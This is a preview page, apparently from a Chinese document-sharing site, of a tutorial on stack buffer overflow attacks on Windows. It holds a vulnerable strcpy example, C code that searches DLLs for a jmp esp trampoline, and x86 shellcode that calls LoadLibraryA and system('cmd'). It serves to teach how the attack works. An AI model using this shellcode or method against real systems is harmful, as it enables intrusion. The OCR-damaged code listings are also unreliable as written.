緩沖區(qū)溢出攻擊詳細(xì)講解電子教案_第1頁
緩沖區(qū)溢出攻擊詳細(xì)講解電子教案_第2頁
緩沖區(qū)溢出攻擊詳細(xì)講解電子教案_第3頁
緩沖區(qū)溢出攻擊詳細(xì)講解電子教案_第4頁
緩沖區(qū)溢出攻擊詳細(xì)講解電子教案_第5頁
已閱讀5頁,還剩16頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、緩沖區(qū)溢出攻擊詳細(xì)講解精品資料緩沖區(qū)溢出攻擊詳細(xì)講解緩沖區(qū)溢出(Buffer Overflow )是計算機安全領(lǐng)域內(nèi)既經(jīng)典而又古老的話題。隨著計算機系統(tǒng) 安全性的加強,傳統(tǒng)的緩沖區(qū)溢出攻擊方式可能變得不再奏效,相應(yīng)的介紹緩沖區(qū)溢出原理的資料 也變得“大眾化”起來。其中看雪的Oday安全:軟件漏洞分析技術(shù)一書將緩沖區(qū)溢出攻擊的原 理闡述得簡潔明了。本文參考該書對緩沖區(qū)溢出原理的講解,并結(jié)合實際的代碼實例進(jìn)行驗證。不 過即便如此,完成一個簡單的溢出代碼也需要解決很多書中無法涉及的問題,尤其是面對較新的具 有安全特性的編譯器一一比如 MS的Visual Studio2010 。接下來,我們結(jié)合具體代

2、碼,按照對緩 沖區(qū)溢出原理的循序漸進(jìn)地理解方式去挖掘緩沖區(qū)溢出背后的底層機制。一、代碼 <=> 數(shù)據(jù)顧名思義,緩沖區(qū)溢出的含義是為緩沖區(qū)提供了多于其存儲容量的數(shù)據(jù),就像往杯子里倒入了 過量的水一樣。通常情況下,緩沖區(qū)溢出的數(shù)據(jù)只會破壞程序數(shù)據(jù),造成意外終止。但是如果有人 精心構(gòu)造溢出數(shù)據(jù)的內(nèi)容,那么就有可能獲得系統(tǒng)的控制權(quán)!如果說用戶(也可能是黑客)提供了 水一一緩沖區(qū)溢出攻擊的數(shù)據(jù),那么系統(tǒng)提供了溢出的容器一一緩沖區(qū)。緩沖區(qū)在系統(tǒng)中的表現(xiàn)形式是多樣的,高級語言定義的變量、數(shù)組、結(jié)構(gòu)體等在運行時可以說 都是保存在緩沖區(qū)內(nèi)的,因此所謂緩沖區(qū)可以更抽象地理解為一段可讀寫的內(nèi)存區(qū)域,緩沖

3、區(qū)攻擊 的最終目的就是希望系統(tǒng)能執(zhí)行這塊可讀寫內(nèi)存中已經(jīng)被蓄意設(shè)定好的惡意代碼。按照馮諾依曼存 儲程序原理,程序代碼是作為二進(jìn)制數(shù)據(jù)存儲在內(nèi)存的,同樣程序的數(shù)據(jù)也在內(nèi)存中,因此直接從 內(nèi)存的二進(jìn)制形式上是無法區(qū)分哪些是數(shù)據(jù)哪些是代碼的,這也為緩沖區(qū)溢出攻擊提供了可能。圖1進(jìn)程地址空間分布圖1是進(jìn)程地址空間分布的簡單表示。代碼存儲了用戶程序的所有可執(zhí)行代碼,在程序正常執(zhí) 行的情況下,程序計數(shù)器(PC指針)只會在代碼段和操作系統(tǒng)地址空間(內(nèi)核態(tài))內(nèi)尋址。數(shù)據(jù)段 內(nèi)存儲了用戶程序的全局變量,文字池等。??臻g存儲了用戶程序的函數(shù)棧幀(包括參數(shù)、局部數(shù) 據(jù)等),實現(xiàn)函數(shù)調(diào)用機制,它的數(shù)據(jù)增長方向是低地址

4、方向。堆空間存儲了程序運行時動態(tài)申請 的內(nèi)存數(shù)據(jù)等,數(shù)據(jù)增長方向是高地址方向。除了代碼段和受操作系統(tǒng)保護(hù)的數(shù)據(jù)區(qū)域,其他的內(nèi) 存區(qū)域都可能作為緩沖區(qū),因此緩沖區(qū)溢出的位置可能在數(shù)據(jù)段,也可能在堆、棧段。如果程序的 代碼有軟件漏洞,惡意程序會“教唆”程序計數(shù)器從上述緩沖區(qū)內(nèi)取指,執(zhí)行惡意程序提供的數(shù)據(jù) 代碼!本文分析并實現(xiàn)棧溢出攻擊方式。二、函數(shù)棧幀棧的主要功能是實現(xiàn)函數(shù)的調(diào)用。因此在介紹棧溢出原理之前,需要弄清函數(shù)調(diào)用時??臻g發(fā) 生了怎樣的變化。每次函數(shù)調(diào)用時,系統(tǒng)會把函數(shù)的返回地址(函數(shù)調(diào)用指令后緊跟指令的地 址),一些關(guān)鍵的寄存器值保存在棧內(nèi),函數(shù)的實際參數(shù)和局部變量(包括數(shù)據(jù)、結(jié)構(gòu)體、對

5、象 等)也會保存在棧內(nèi)。這些數(shù)據(jù)統(tǒng)稱為函數(shù)調(diào)用的棧幀,而且是每次函數(shù)調(diào)用都會有個獨立的棧 幀,這也為遞歸函數(shù)的實現(xiàn)提供了可能。棧増長方向圖2函數(shù)棧幀如圖所示,我們定義了一個簡單的函數(shù)function,它接受一個整形參數(shù),做一次乘法操作并返回。當(dāng)調(diào)用function(0)時,arg參數(shù)記錄了值0入棧,并將call function 指令下一條指令的地址 0x00bd16f0保存到棧內(nèi),然后跳轉(zhuǎn)到fun ction函數(shù)內(nèi)部執(zhí)行。每個函數(shù)定義都會有函數(shù)頭和函數(shù) 尾代碼,如圖綠框表示。因為函數(shù)內(nèi)需要用ebp保存函數(shù)棧幀基址,因此先保存 ebp原來的值到棧內(nèi),然后將棧指針esp內(nèi)容保存到ebp。函數(shù)返回

6、前需要做相反的操作將 esp指針恢復(fù),并彈出ebp。這樣,函數(shù)內(nèi)正常情況下無論怎樣使用棧,都不會使棧失去平衡。sub esp,44h指令為局部變量開辟了??臻g,比如ret變量的位置。理論上,function只需要再開辟4字節(jié)空間保存ret即可,但是編譯器開辟了更多的空間(這個問題很詭異,你覺得呢?)。函數(shù)調(diào)用結(jié)束返回后,函數(shù)棧幀恢復(fù)到保存參數(shù)0時的狀態(tài),為了保持棧幀平衡,需要恢復(fù)esp的內(nèi)容,使用add esp,4將壓入的參數(shù)彈出。之所以會有緩沖區(qū)溢出的可能,主要是因為??臻g內(nèi)保存了函數(shù)的返回地址。該地址保存了函 數(shù)調(diào)用結(jié)束后后續(xù)執(zhí)行的指令的位置,對于計算機安全來說,該信息是很敏感的。如果有人

7、惡意修 改了這個返回地址,并使該返回地址指向了一個新的代碼位置,程序便能從其它位置繼續(xù)執(zhí)行。三、棧溢出基本原理上邊給出的代碼是無法進(jìn)行溢出操作的,因為用戶沒有“插足”的機會。但是實際上很多程序 都會接受用戶的外界輸入,尤其是當(dāng)函數(shù)內(nèi)的一個數(shù)組緩沖區(qū)接受用戶輸入的時候,一旦程序代碼 未對輸入的長度進(jìn)行合法性檢查的話,緩沖區(qū)溢出便有可能觸發(fā)!比如下邊的一個簡單的函數(shù)。1. void fun (un sig ned char* data)2. 3. unsigned char buffer BUF_LEN;4. strcpy(char *)buffer ,(char *)data );/ 溢出點5.

8、 這個函數(shù)沒有做什么有“意義”的事情(這里主要是為了簡化問題),但是它是一個典型的棧溢出代碼。在使用不安全的strcpy庫函數(shù)時,系統(tǒng)會盲目地將 data的全部數(shù)據(jù)拷貝到buffer指向 的內(nèi)存區(qū)域。buffer的長度是有限的,一旦data的數(shù)據(jù)長度超過BUF_LEN,便會產(chǎn)生緩沖區(qū)溢 出。棧憎長方向數(shù)據(jù)圖3緩沖區(qū)溢出由于棧是低地址方向增長的,因此局部數(shù)組buffer的指針在緩沖區(qū)的下方。當(dāng)把 data的數(shù)據(jù)拷貝到buffer內(nèi)時,超過緩沖區(qū)區(qū)域的高地址部分?jǐn)?shù)據(jù)會“淹沒”原本的其他棧幀數(shù)據(jù),根據(jù)淹沒 數(shù)據(jù)的內(nèi)容不同,可能會有產(chǎn)生以下情況:1、淹沒了其他的局部變量。如果被淹沒的局部變量是條件變量

9、,那么可能會改變函數(shù)原本的執(zhí) 行流程。這種方式可以用于破解簡單的軟件驗證。2、淹沒了 ebp的值。修改了函數(shù)執(zhí)行結(jié)束后要恢復(fù)的棧指針,將會導(dǎo)致棧幀失去平衡。3、淹沒了返回地址。這是棧溢出原理的核心所在,通過淹沒的方式修改函數(shù)的返回地址,使程 序代碼執(zhí)行“意外”的流程!4、淹沒參數(shù)變量。修改函數(shù)的參數(shù)變量也可能改變當(dāng)前函數(shù)的執(zhí)行結(jié)果和流程。5、淹沒上級函數(shù)的棧幀,情況與上述 4點類似,只不過影響的是上級函數(shù)的執(zhí)行。當(dāng)然這里 的前提是保證函數(shù)能正常返回,即函數(shù)地址不能被隨意修改(這可能很麻煩?。?。僅供學(xué)習(xí)與交流,如有侵權(quán)請聯(lián)系網(wǎng)站刪除 謝謝7精品資料如果在data本身的數(shù)據(jù)內(nèi)就保存了一系列的指令的

10、二進(jìn)制代碼,一旦棧溢出修改了函數(shù)的返回地址,并將該地址指向這段二進(jìn)制代碼的其實位置,那么就完成了基本的溢出攻擊行為。bufferH増畏方向圖4基本棧溢出攻擊通過計算返回地址內(nèi)存區(qū)域相對于buffer的偏移,并在對應(yīng)位置構(gòu)造新的地址指向buffer內(nèi)部二進(jìn)制代碼的其實位置,便能執(zhí)行用戶的自定義代碼!這段既是代碼又是數(shù)據(jù)的二進(jìn)制數(shù)據(jù)被稱為shellcode,因為攻擊者希望通過這段代碼打開系統(tǒng)的shell,以執(zhí)行任意的操作系統(tǒng)命令比如下載病毒,安裝木馬,開放端口,格式化磁盤等惡意操作。四、棧溢出攻擊上述過程雖然理論上能完成棧溢出攻擊行為,但是實際上很難實現(xiàn)。操作系統(tǒng)每次加載可執(zhí)行文件到進(jìn)程空間的位置

11、都是無法預(yù)測的,因此棧的位置實際是不固定的,通過硬編碼覆蓋新返回地址的方式并不可靠。為了能準(zhǔn)確定位shellcode的地址,需要借助一些額外的操作,其中最經(jīng)典的是借助跳板的棧溢出方式。根據(jù)前邊所述,函數(shù)執(zhí)行后,棧指針 esp會恢復(fù)到壓入?yún)?shù)時的狀態(tài),在圖 4中即data參數(shù) 的地址。如果我們在函數(shù)的返回地址填入一個地址,該地址指向的內(nèi)存保存了一條特殊的指令jmpesp跳板。那么函數(shù)返回后,會執(zhí)行該指令并跳轉(zhuǎn)到esp所在的位置即data的位置。我們可以將緩沖區(qū)再多溢出一部分,淹沒 data這樣的函數(shù)參數(shù),并在這里放上我們想要執(zhí)行的代 碼!這樣,不管程序被加載到哪個位置,最終都會回來執(zhí)行棧內(nèi)的代碼

12、。棧增長力向緩沖區(qū)huffer圖5借助跳板的棧溢出攻擊借助于跳板的確可以很好的解決棧幀移位(棧加載地址不固定)的問題,但是跳板指令從哪找 呢? “幸運”的是,在 Windows操作系統(tǒng)加載的大量dll中,包含了許多這樣的指令,比如 kernel32.dll ,ntdll.dll,這兩個動態(tài)鏈接庫是 Windows程序默認(rèn)加載的。如果是圖形化界面的 Windows程序還會加載user32.dll,它也包含了大量的跳板指令!而且更“神奇”的是Windows操作系統(tǒng)加載dll時候一般都是固定地址,因此這些 dll內(nèi)的跳板指令的地址一般都是固定的。我們 可以離線搜索出跳板執(zhí)行在dll內(nèi)的偏移,并加上d

13、ll的加載地址,便得到一個適用的跳板指令地址!/查詢dll內(nèi)第一個jmp esp指令的位置int fin dJmp(char*dll_ name)char* handle=(char*)LoadLibraryA(dll_name);獲取 dll 加載地址for(int pos=0;pos+)遍歷 dll 代碼空間if(handlepos=(char)0xff&&handlepos+1=(char)0xe4)尋找 0xffe4 = jmp espretur n (in t)(ha ndle+pos);這里簡化了搜索算法,輸出第一個跳板指令的地址,讀者可以選取其他更合適位置。Loa

14、dLibraryA 庫函數(shù)返回值就是dll的加載地址,然后加上搜索到的跳板指令偏移pos便是最終地址。jmp esp指令的二進(jìn)制表示為0xffe4,因此搜索算法就是搜索dll內(nèi)這樣的字節(jié)數(shù)據(jù)即可。雖然如此,上述的攻擊方式還不夠好。因為在esp后繼續(xù)追加shellcode代碼會將上級函數(shù)的棧幀淹沒,這樣做并沒有什么好處,甚至可能會帶來運行時問題。既然被溢出的函數(shù)棧幀內(nèi)提供了 緩沖區(qū),我們還是把核心的shellcode放在緩沖區(qū)內(nèi),而在esp之后放上跳轉(zhuǎn)指令轉(zhuǎn)移到原本的緩 沖區(qū)位置。由于這樣做使代碼的位置在esp指針之前,如果shellcode中使用了 push指令便會讓esp指令與shellco

15、de代碼越來越近,甚至淹沒自身的代碼。這顯然不是我們想要的結(jié)果,因此我們可以強制抬咼esp指針,使它在shellcode之刖(低地址位置),這樣就能在 shellcode內(nèi)正常使用push指令了找増長方向圖6調(diào)整shellcode與棧指針調(diào)整代碼的內(nèi)容很簡單:add esp,-Xjmp esp第一條指令抬高了棧指針到shellcode之前。X代表shellcode起始地址與esp的偏移。如果 shellcode從緩沖區(qū)起始位置開始,那么就是 buffer的地址偏移。這里不使用sub esp,X指令主要 是避免X的高位字節(jié)為0的問題,很多情況下緩沖區(qū)溢出是針對字符串緩沖區(qū)的,如果出現(xiàn)字節(jié)0會導(dǎo)致

16、緩沖區(qū)截斷,從而導(dǎo)致溢出失敗。第二條指令就是跳轉(zhuǎn)到shellcode的起始位置繼續(xù)執(zhí)行。(又是jmp esp ?。﹥H供學(xué)習(xí)與交流,如有侵權(quán)請聯(lián)系網(wǎng)站刪除 謝謝11精品資料通過上述方式便能獲得一個較為穩(wěn)定的棧溢出攻擊。五、shellcode 構(gòu)造shellcode實質(zhì)是指溢出后執(zhí)行的能開啟系統(tǒng) shell的代碼。但是在緩沖區(qū)溢出攻擊時,也可以 將整個觸發(fā)緩沖區(qū)溢出攻擊過程的代碼統(tǒng)稱為 shellcode,按照這種定義可以把shellcode分為四 部分:1、核心shellcode代碼,包含了攻擊者要執(zhí)行的所有代碼。2、溢出地址,是觸發(fā)shellcode的關(guān)鍵所在。3、 填充物,填充未使用的緩沖區(qū)

17、,用于控制溢出地址的位置,一般使用nop指令填充0x90表示。4、結(jié)束符號0,對于符號串shellcode需要用0結(jié)尾,避免溢出時字符串異常。前邊一直在圍繞溢出地址討論,并解決了shellcode組織的問題,而最核心的代碼如何構(gòu)造并未提及一一即攻擊成功后做的事情。其實一旦緩沖區(qū)溢出攻擊成功后,如果被攻擊的程序有系統(tǒng)的 root權(quán)限一一比如系統(tǒng)服務(wù)程序,那么攻擊者基本上可以為所欲為了!但是我們需要清楚的是,核 心shellcode必須是二進(jìn)制代碼形式。而且 shellcode執(zhí)行時是在遠(yuǎn)程的計算機上,因此 shellcode是否能通用是一個很復(fù)雜的問題。我們可以用一段簡單的代碼實例來說明這個問題

18、。緩沖區(qū)溢出成功后,一般大家都會希望開啟一個遠(yuǎn)程的shell控制被攻擊的計算機。開啟shell最直接的方式便是調(diào)用C語言的庫函數(shù)system,該函數(shù)可以執(zhí)行操作系統(tǒng)的命令,就像我們在命 令行下執(zhí)行命令那樣。假如我們執(zhí)行 cmd命令一一在遠(yuǎn)程計算機上啟動一個命令提示終端(我們 可能還不能和它交互,但是可以在這之前建立一個遠(yuǎn)程管道等),這里僅作為實例測試。為了使system函數(shù)調(diào)用成功,我們需要將“ cmd ”字符串內(nèi)容壓入??臻g,并將其地址壓入 作為system函數(shù)的參數(shù),然后使用call指令調(diào)用system函數(shù)的地址,完成函數(shù)的執(zhí)行。但是這樣做還不夠,如果被溢出的程序沒有加載C語言庫的話,我們

19、還需要調(diào)用 Windows的APILoadlibrary 加載C語言的庫msvcrt.dll,類似的我們也需要為字符串“ msvcrt.dll ”開辟??臻g1. xor ebx ,ebx ;/ebx=02.2. push 0x3f3f6c6c ;/ll?3. push0x642e7472;/rt.d4. push0x6376736d;/msvc5. movesp+10,ebx;/'?'-&gt;'0'6. movesp+ 11 ,ebx;/'?'-&gt;'0'7. mov eax,esp "/"

20、;msvcrt.dll" 地址8. push eax "/"msvcrt.dll"9. mov eax,0x77b62864 ;/kernel32.dll:LoadLibraryA10. call eax;/LoadLibraryA("msvcrt.dll")11. add esp,1612. push 0x3f646d63;/"cmd?"13. mov esp+3,ebx ;/'?'-&gt;'0'14. mov eax ,esp ;/"cmd"地址15

21、. push eax ;/"cmd"16. mov eax ,0x774ab16f ;/msvcrt.dll:system17. call eax ;/system("cmd")18. add esp ,8上述匯編代碼實質(zhì)上是如下兩個函數(shù)調(diào)用語句:1. Loadlibrary ( “msvcrt .dll” );2. system ( “cmd ” );3.不過在構(gòu)造這段匯編代碼時需要注意不能出現(xiàn)字節(jié)0,為了填充字符串的結(jié)束字符,我們使用已經(jīng)初始化為0的ebx寄存器代替。另外,在對庫函數(shù)調(diào)用的時候需要提前計算出函數(shù)的地址,如 Loadlibrary 函數(shù)

22、的0x77b62864。計算方式如下:1. int findFunc (char*dll_name ,char*func_name )2. 3. HINSTANCE handle = LoadLibraryA (dll_name );/ 獲取 dll 加載地址4. return(int )GetProcAddress(handle,func_name );5. 這個函數(shù)地址是在本地計算的,如果被攻擊計算機的操作系統(tǒng)版本差別較大的話,這個地址可 能是錯誤的。不過在0day安全:軟件漏洞分析技術(shù)中,作者提供了一個更好的方式,感興趣的 讀者可以參考該書提供的代碼。因此構(gòu)造一個通用的shellcode

23、并非十分容易,如果想讓攻擊變得有效的話。六、匯編語言自動轉(zhuǎn)換寫出shellcode后(無論是簡單的還是通用的),我們還需要將這段匯編代碼轉(zhuǎn)換為機器代 碼。如果讀者對x86匯編十分熟悉的話,選擇手工敲出二進(jìn)制代碼的話也未嘗不可。不過我們都希 望能讓計算機幫助做完這些事,既然開發(fā)環(huán)境提供了編譯器,用它們幫忙何樂而不為呢?既不用 OllyDbg工具,也不適用其他的第三方工具,我們寫一個簡單的函數(shù)來完成這個工作。1. /將內(nèi)嵌匯編的二進(jìn)制指令dump到文件,style指定輸出數(shù)組格式還是二進(jìn)制形式,返回 代碼長度2. int dumpCode (unsignedchar*buffer )3. 4. g

24、oto END ;/略過匯編代碼5. BEGIN:6. _asm7. 8. /在這里定義任意的合法匯編代碼 END: / 確定代碼范圍 UINT begin,end; _asm mov eax,BEGIN ; mov begin,eax ;mov eax,END ; mov en d,eax ; / 輸出 in t le n=en d-begi n; memcpy(buffer,(void*)begi n,le n);/ 四字節(jié)對齊 int fill=(len-len%4)%4; while(fill-)bufferlen+fill=0x90; /返回長度return len+fill; 因為C+是支持嵌入式匯編代碼的,因此在函數(shù)內(nèi)的匯編代碼都會被整成編譯為二進(jìn)制代碼。實現(xiàn)二進(jìn)制轉(zhuǎn)換的基本思想是讀取編譯器最終生成的二進(jìn)制代碼段數(shù)據(jù),將數(shù)據(jù)導(dǎo)出到指定的緩沖區(qū)內(nèi)。為了鎖定嵌入式匯編代碼的位置和長度,我們定義了兩個標(biāo)簽BEGIN和END。這兩個標(biāo)簽在匯編語言級別會被解析為實際的線性地址,但是在高級語言級是無法直接使用這兩個標(biāo)簽值的,只能使

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論